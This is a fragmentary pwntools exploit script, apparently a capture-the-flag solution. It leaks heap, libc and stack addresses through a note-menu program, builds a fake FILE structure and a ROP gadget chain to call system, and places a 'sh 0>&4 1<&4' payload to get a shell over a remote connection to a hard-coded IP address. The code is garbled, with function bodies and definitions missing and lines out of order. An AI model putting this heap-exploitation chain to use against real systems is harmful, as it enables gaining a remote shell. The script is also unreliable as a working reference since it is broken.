#context.log_level="debug"
p.recvuntil(b"length:\n")
p.sendline(str(sz).encode())
p.recvuntil(b"content:\n")
p.recvuntil(b"index:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"index:\n")
p.sendline(str(idx).encode())
p.recvuntil(b"content:\n")
p.recvuntil(b"index:\n")
p.sendline(str(idx).encode())
def get_fake_io(faddr,iowfjmp,rip):
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
add(p,0x37,b"sh 0>&4 1<&4\n")#0
add(p,0x17,b"test2\n")#2
add(p,0x410,b"test3\n")#3
add(p,0x17,b"test4\n")#4
pld1=p64(0)*3+p64(0x21)+b"\n"
p.recvuntil(b"Content:\n")
heap_leak=u64(p.recv(8))
heap_base=(heap_leak>>12)<<12
print("[+] heap_base =",hex(heap_base))
pld1=p64(0)*3+p64(0x21)+p64(heap_base+0x3a0)+b"\x18\n"
p.recvuntil(b"Content:\n")
libc_leak=u64(p.recv(8))
print("[+] libc_leak =",hex(libc_leak))
libc_base=libc_leak-libc_off
print("[+] libc_base =",hex(libc_base))
system=0x7545ff858750-0x7545ff800000+libc_base
envaddr=0x719fb880ad58-0x719fb8600000+libc_base
pld1=p64(0)*3+p64(0x21)+p64(envaddr)+b"\x18\n"
p.recvuntil(b"Content:\n")
stack_leak=u64(p.recv(8))
stack_addr=stack_leak-0x250
print("[+] stack_addr =",hex(stack_addr))
p_rdi_r=0x000000000010f75b+libc_base
pld1=p64(0)*3+p64(0x21)+p64(stack_addr)+b"\xff\n"
p=remote("39.106.16.204",15586)